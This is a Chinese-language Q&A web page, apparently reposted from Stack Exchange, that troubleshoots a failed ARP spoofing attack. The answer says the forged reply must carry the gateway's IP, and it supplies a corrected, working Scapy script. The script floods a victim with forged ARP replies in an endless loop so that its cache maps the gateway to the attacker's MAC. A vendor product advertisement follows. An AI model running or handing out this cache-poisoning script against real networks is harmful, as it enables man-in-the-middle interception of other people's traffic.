You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

ARP欺骗场景下受害主机MAC地址未变更的问题排查

ARP欺骗未生效的根源分析

你的ARP欺骗操作没生效,核心问题出在ARP报文构造逻辑错误,具体原因如下:

  • 错误设置了ARP响应的源IP(psrc)
    你当前构造的ARP响应报文,psrc填的是黑客自身的IP(10.0.2.15),这只会让受害机更新10.0.2.15对应的MAC地址,而不会修改受害机中网关这类关键IP的ARP映射。ARP欺骗的核心是冒充网关(或受害机信任的其他IP),让受害机把网关IP的MAC替换成你的MAC,所以psrc应该设置为网关的IP(比如常见的10.0.2.1),而非你自己的IP。

  • 未针对目标映射进行篡改
    受害机的ARP表中,自身IP(10.0.2.2)对应的MAC本来就是网卡自身地址,你的报文根本不会触发这个条目的更新。你要修改的是受害机中网关IP对应的MAC条目,而非自身IP的条目。

  • 单次发送报文可能被忽略
    即使报文构造正确,单次发送的ARP响应可能被受害机的ARP缓存策略忽略,通常需要持续发送(比如每秒发送几次)才能覆盖原有缓存条目。

修正后的代码示例

import scapy.all as scapy 
import time

victim_mac = '52:54:00:12:35:02'
victim_ip = '10.0.2.2'
hacker_mac = '08:00:27:22:46:4f'
gateway_ip = '10.0.2.1'  # 替换为实际环境的网关IP

# 构造ARP响应:告诉受害机"网关IP的MAC是我的MAC"
arp_packet = scapy.ARP(
    op=2, 
    hwdst=victim_mac, 
    pdst=victim_ip, 
    hwsrc=hacker_mac, 
    psrc=gateway_ip  # 关键:此处填写网关IP,而非自身IP
)

# 持续发送报文,确保覆盖受害机ARP缓存
while True:
    scapy.sendp(arp_packet, verbose=False)
    time.sleep(1)

验证方式

在受害机上重新查看ARP表,若操作成功,网关IP对应的MAC地址会变为你的黑客设备MAC。

内容的提问来源于stack exchange,提问作者user20027278

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.18 03:05:20